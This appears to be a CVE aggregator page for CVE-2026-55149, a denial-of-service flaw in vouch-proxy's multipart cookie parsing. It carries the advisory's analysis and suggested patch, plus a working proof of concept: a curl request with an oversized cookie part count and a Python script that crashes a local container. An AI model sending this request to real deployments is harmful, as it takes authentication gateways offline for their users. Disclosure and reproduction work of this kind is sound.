CVE-2026-55149

HIGHPre-NVD 7.57.5
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
7.5EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: CVSS: 7.5Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

vouch-proxy has an Unbounded Multipart Cookie Allocation DoS

Unbounded Multipart Cookie Allocation DoS in vouch-proxy

Summary

vouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The /validate endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., VouchCookie_1of) and passes it without any bounds check to make([]string, N). A single HTTP request with N=10000000000 causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.

Details

The vulnerability exists in pkg/cookie/cookie.go. The Cookie() function iterates over all cookies in the request, identifies multipart cookies by the _NofM suffix in their name, and initializes the reassembly slice on the first matching cookie:

// pkg/cookie/cookie.go:123–130
xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
xyArray := strings.Split(xOFy, "of")
if numParts == -1 {
    if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
        return "", fmt.Errorf("multipart cookie fail: %s", err)
    }
    cookieParts = make([]string, numParts)  // sink: unbounded allocation
}

The value in xyArray[1] comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before strconv.Atoi parses it. The result is used as the length argument to make, so an attacker who supplies VouchCookie_1of10000000000 causes the runtime to request approximately 10_000_000_000 × 16 bytes ≈ 160 GB of memory in a single call.

The complete exploit path from network entry to crash:

  • main.go:167/validate and /_external-auth-:id are registered wrapped in JWTCacheHandler.
  • pkg/jwtmanager/jwtcache.go:54JWTCacheHandler calls FindJWT(r) before any authentication check.
  • pkg/jwtmanager/jwtmanager.go:228FindJWT calls cookie.Cookie(r).
  • pkg/cookie/cookie.go:109r.Cookies() reads the attacker-supplied Cookie: header.
  • pkg/cookie/cookie.go:124 — cookie name suffix is split on "of".
  • pkg/cookie/cookie.go:126strconv.Atoi(xyArray[1]) parses the attacker-controlled total.
  • pkg/cookie/cookie.go:130sink: make([]string, numParts) attempts a gigantic heap allocation.

Because the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.

A suggested remediation is to add a strict upper bound and format validation before the allocation:

--- a/pkg/cookie/cookie.go
+++ b/pkg/cookie/cookie.go
@@ const maxCookieSize = 4000
+const maxCookieParts = 32
@@
  • xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
  • xyArray := strings.Split(xOFy, "of")
+ xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1) + partStr, totalStr, ok := strings.Cut(xOFy, "of") + if !ok || partStr == "" || totalStr == "" { + return "", fmt.Errorf("multipart cookie fail: invalid cookie part name") + } if numParts == -1 {
  • if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
+ if numParts, err = strconv.Atoi(totalStr); err != nil { return "", fmt.Errorf("multipart cookie fail: %s", err) } + if numParts < 1 || numParts > maxCookieParts { + return "", fmt.Errorf("multipart cookie fail: invalid part count %d", numParts) + } cookieParts = make([]string, numParts) }

PoC

Environment setup

Build the vulnerable image from source (requires the vouch-proxy repository at the path below):

docker build \
  -f vuln-001/Dockerfile \
  -t vouch-vuln001 \
  repo

Start the container (no memory limit is imposed; the Go runtime itself fails the allocation):

docker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001

Wait for the server to respond to a baseline request (expected HTTP 302 or similar):

curl -v http://127.0.0.1:19090/validate

Attack request

Send a single unauthenticated HTTP GET with the malicious cookie name:

curl -v http://127.0.0.1:19090/validate \
  -H 'Host: app.example.com' \
  -H 'Cookie: VouchCookie_1of10000000000=x'

Alternatively, run the automated PoC script:

python3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000

Expected result

The server process crashes immediately with a Go runtime fatal error. Container logs show:

fatal error: runtime: out of memory

runtime.makeslice(0x0?, 0x0?, 0x0?) /usr/local/go/src/runtime/slice.go:117 github.com/vouch/vouch-proxy/pkg/cookie.Cookie(...) /src/pkg/cookie/cookie.go:130 github.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...) /src/pkg/jwtmanager/jwtmanager.go:228 main.main.JWTCacheHandler.func1(...) /src/pkg/jwtmanager/jwtcache.go:54

The container exits with code 2 (Go runtime fatal). The curl client receives an empty reply. The attack is 100% deterministic and reproducible on every run.

Minimal configuration (no real OAuth provider required):

vouch:
  logLevel: info
  listen: 0.0.0.0
  port: 9090
  domains:
  • vouch.github.io
oauth: provider: indieauth client_id: http://vouch.github.io auth_url: https://indielogin.com/auth callback_url: http://vouch.github.io:9090/auth

Impact

This is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.

An attacker who can send a single HTTP request to the /validate or /_external-auth-:id endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.

No authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (VouchCookie) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.

Reproduction artifacts

Dockerfile

# VULN-001 — Unbounded Multipart Cookie Allocation DoS

vouch/vouch-proxy v0.47.2 (commit b683f60)

#

Attack: GET /validate with Cookie: VouchCookie_1of=x

-> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total

-> make([]string, ) triggers an immediate OOM fatal in the Go runtime

-> Server process crashes; no authentication required

#

Build: docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo

Run: docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001

---------- Stage 1: compile vouch-proxy from source ----------

FROM golang:1.26 AS builder

WORKDIR /src COPY . .

Build a statically linked binary; skip do.sh which requires live git tags.

Version ldflags are pinned to the affected commit for reproducibility.

RUN CGO_ENABLED=0 GOOS=linux \ go build -v \ -ldflags="-s -w \ -X main.version=b683f60 \ -X main.uname=linux \ -X main.builddt=2024-01-01T00:00:00Z \ -X main.host=vuln-poc \ -X main.semver=v0.47.2 \ -X main.branch=main" \ -o /vouch-proxy .

---------- Stage 2: minimal runtime image ----------

FROM debian:bookworm-slim

RUN apt-get update && \ apt-get install -y --no-install-recommends ca-certificates && \ rm -rf /var/lib/apt/lists/*

COPY --from=builder /vouch-proxy /vouch-proxy

Minimal config: allowAllUsers so startup succeeds without real OAuth,

default cookie name VouchCookie matches the PoC payload.

RUN mkdir -p /config && cat > /config/config.yml << 'EOF' vouch: logLevel: info listen: 0.0.0.0 port: 9090 domains:
  • vouch.github.io
oauth: provider: indieauth client_id: http://vouch.github.io auth_url: https://indielogin.com/auth callback_url: http://vouch.github.io:9090/auth EOF

EXPOSE 9090 ENTRYPOINT ["/vouch-proxy"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS
Target: vouch/vouch-proxy v0.47.2 (commit b683f60)
File:   pkg/cookie/cookie.go:126

Attack summary -------------- The multipart-cookie reassembly routine reads the total part count from the attacker-controlled cookie *name* (e.g. VouchCookie_1of) and calls make([]string, N) with no upper-bound check. The /validate endpoint is reachable without any authentication, so a single HTTP request with N=10_000_000_000 forces the Go runtime to attempt a ~160 GB heap allocation, which immediately triggers runtime: out of memory: cannot allocate ... and crashes the server process (Go fatal, exit 2).

Usage ----- Run from the repo root (or any directory; paths are absolute):

python3 poc.py [--image IMAGE] [--port PORT] [--parts N]

Defaults: IMAGE = vouch-vuln001 PORT = 9090 PARTS = 10000000000 (10 billion -> ~160 GB allocation request) """

import argparse import http.client import json import subprocess import sys import time

──────────────────────────────────────────────────────────

Configuration

──────────────────────────────────────────────────────────

DEFAULT_IMAGE = "vouch-vuln001" DEFAULT_PORT = 19090 # host port; container always uses 9090 internally DEFAULT_PARTS = 10_000_000_000 # drives make([]string, 10_000_000_000) CONTAINER_NAME = "vouch-vuln001-poc" STARTUP_TIMEOUT_S = 30 # seconds to wait for the server to listen READY_POLL_S = 1.0

──────────────────────────────────────────────────────────

Helpers

──────────────────────────────────────────────────────────

def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess: """Run a subprocess and return the CompletedProcess.""" print(f"[cmd] {' '.join(cmd)}") return subprocess.run(cmd, **kwargs)

def cleanup(name: str) -> None: """Remove an existing container by name, ignoring errors.""" subprocess.run( ["docker", "rm", "-f", name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, )

def wait_for_server(host: str, port: int, timeout: float) -> bool: """Poll GET /validate until we get any response (even 401/302) or timeout.""" deadline = time.monotonic() + timeout while time.monotonic() < deadline: try: conn = http.client.HTTPConnection(host, port, timeout=2) conn.request("GET", "/validate") resp = conn.getresponse() # Any HTTP response means the server is up. print(f"[ready] server responded: HTTP {resp.status}") conn.close() return True except OSError: pass time.sleep(READY_POLL_S) return False

def container_running(name: str) -> bool: """Return True if the named container is still running.""" r = subprocess.run( ["docker", "inspect", "--format", "{{.State.Running}}", name], capture_output=True, text=True, ) return r.returncode == 0 and r.stdout.strip() == "true"

def container_exit_code(name: str) -> int | None: """Return the exit code of a stopped container, or None if unknown.""" r = subprocess.run( ["docker", "inspect", "--format", "{{.State.ExitCode}}", name], capture_output=True, text=True, ) if r.returncode == 0: try: return int(r.stdout.strip()) except ValueError: pass return None

def container_oom(name: str) -> bool: """Return True if the container was OOM-killed.""" r = subprocess.run( ["docker", "inspect", "--format", "{{.State.OOMKilled}}", name], capture_output=True, text=True, ) return r.returncode == 0 and r.stdout.strip() == "true"

def get_logs(name: str) -> str: """Retrieve stdout+stderr from the container.""" r = subprocess.run( ["docker", "logs", name], capture_output=True, text=True, ) return (r.stdout + r.stderr).strip()

──────────────────────────────────────────────────────────

Main

──────────────────────────────────────────────────────────

def main() -> None: parser = argparse.ArgumentParser(description="VULN-001 PoC runner") parser.add_argument("--image", default=DEFAULT_IMAGE, help="Docker image name") parser.add_argument("--port", default=DEFAULT_PORT, type=int) parser.add_argument("--parts", default=DEFAULT_PARTS, type=int, help="N in VouchCookie_1ofN (drives allocation size)") args = parser.parse_args()

host = "127.0.0.1" port = args.port image = args.image num_parts = args.parts cookie_val = f"VouchCookie_1of{num_parts}"

print("=" * 60) print("VULN-001 PoC — Unbounded Multipart Cookie Allocation DoS") print("=" * 60) print(f" Image : {image}") print(f" Target : http://{host}:{port}/validate") print(f" Cookie : {cookie_val}=x") print(f" Expected allocation: ~{(num_parts * 16) // (1024**3)} GB") print()

# 1. Clean up any leftover container. cleanup(CONTAINER_NAME)

# 2. Start the vouch-proxy container. # Memory is uncapped at the Docker level; the Go runtime itself will # fail the mmap when the host cannot honor the 160 GB request # (overcommit heuristic or insufficient address space). run_cmd = [ "docker", "run", "-d", # no --rm so logs survive after crash "--name", CONTAINER_NAME, "-p", f"{port}:9090", # host:container — vouch-proxy always binds :9090 internally image, ] r = run(run_cmd, capture_output=True, text=True) if r.returncode != 0: print(f"[FAIL] docker run failed:\n{r.stderr}") sys.exit(1) container_id = r.stdout.strip() print(f"[info] container started: {container_id[:12]}")

# 3. Wait for the HTTP server to accept connections. print(f"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...") ready = wait_for_server(host, port, STARTUP_TIMEOUT_S) if not ready: logs = get_logs(CONTAINER_NAME) print(f"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.") print("[logs]", logs[-2000:]) cleanup(CONTAINER_NAME) sys.exit(1)

# 4. Send the malicious request. print() print("[attack] Sending malicious cookie to /validate ...") request_line = f"GET /validate HTTP/1.1 Cookie: {cookie_val}=x" print(f"[attack] {request_line}") print()

try: conn = http.client.HTTPConnection(host, port, timeout=10) conn.request( "GET", "/validate", headers={ "Host": "app.example.com", "Cookie": f"{cookie_val}=x", }, ) # The server might crash before sending a response. try: resp = conn.getresponse() body = resp.read(512).decode("utf-8", errors="replace") print(f"[info] got HTTP {resp.status}: {body[:200]}") except Exception as e: print(f"[info] connection broken mid-response (expected): {e}") conn.close() except Exception as e: print(f"[info] request exception (expected if server crashed): {e}")

# 5. Give the container a moment to record its exit state. time.sleep(2)

# 6. Collect evidence. still_running = container_running(CONTAINER_NAME) exit_code = container_exit_code(CONTAINER_NAME) oom_killed = container_oom(CONTAINER_NAME) logs = get_logs(CONTAINER_NAME)

print("─" * 60) print("[evidence] Container still running :", still_running) print("[evidence] Container exit code :", exit_code) print("[evidence] OOM-killed flag :", oom_killed) print() print("[logs] (last 3000 chars of container stdout+stderr):") print(logs[-3000:] if logs else "(empty)") print("─" * 60)

# 7. Verdict # # Evidence of exploitation (any one suffices): # (a) Container exited (not still running) after the malicious request. # (b) Exit code == 2 (Go runtime fatal: out of memory). # (c) OOMKilled == true (kernel OOM killer fired). # (d) Logs contain "out of memory" or "runtime: fatal".

crashed = not still_running go_panic = exit_code == 2 oom_kill = oom_killed log_oom = ( "out of memory" in logs.lower() or "runtime: fatal" in logs.lower() or "cannot allocate" in logs.lower() )

passed = crashed and (go_panic or oom_kill or log_oom)

print() if passed: print("[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.") # Extract the key OOM line from logs. oom_lines = [ ln for ln in logs.splitlines() if any(kw in ln.lower() for kw in ("out of memory", "cannot allocate", "runtime: fatal", "oom")) ] evidence = "\n".join(oom_lines[:5]) if oom_lines else f"container exited with code {exit_code}" else: print("[FAIL] Could not confirm crash. See logs above for details.") evidence = logs[-500:] if logs else "(no logs)"

print() result = { "passed": passed, "verdict": "PASS" if passed else "FAIL", "reason": ( "단일 비인증 HTTP 요청으로 서버 프로세스를 OOM 충돌시키는 취약점 재현 성공" if passed else "컨테이너 충돌을 확인할 수 없음 — 로그 및 종료 코드 참고" ), "build_command": ( "docker build -f vuln-001/Dockerfile " "-t vouch-vuln001 " "repo" ), "run_command": ( f"docker run --rm -d --name {CONTAINER_NAME} " f"-p {port}:9090 {image}" ), "poc_command": ( f"python3 poc.py --image {image} --port {port} --parts {num_parts}" ), "evidence": evidence, "artifacts": ["Dockerfile", "poc.py"], }

result_path = ( "reports/pypiAi_450_vouch__vouch-proxy" "/vuln-001/phase2_result.json" ) with open(result_path, "w") as fh: json.dump(result, fh, indent=2, ensure_ascii=False) print(f"[saved] {result_path}")

# 8. Cleanup. cleanup(CONTAINER_NAME)

if __name__ == "__main__": main()

CVSS v3
7.5
EG Score
7.5(low)
EG Risk
38(Track)
EG Risk 38/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity75% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

August 20, 2026

Last Modified

August 20, 2026

Vendor Advisories for CVE-2026-55149(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-08-20 17:42 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-55149?
CVE-2026-55149 is a high vulnerability published on August 20, 2026. vouch-proxy has an Unbounded Multipart Cookie Allocation DoS Unbounded Multipart Cookie Allocation DoS in vouch-proxy Summary vouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The /validate endpoint parses the total…
When was CVE-2026-55149 disclosed?
CVE-2026-55149 was first published in the National Vulnerability Database on August 20, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-55149?
CVE-2026-55149 has a CVSS v4.0 base score of 7.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-55149?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-55149, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-55149

Explore →

Is Your Infrastructure Affected by CVE-2026-55149?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.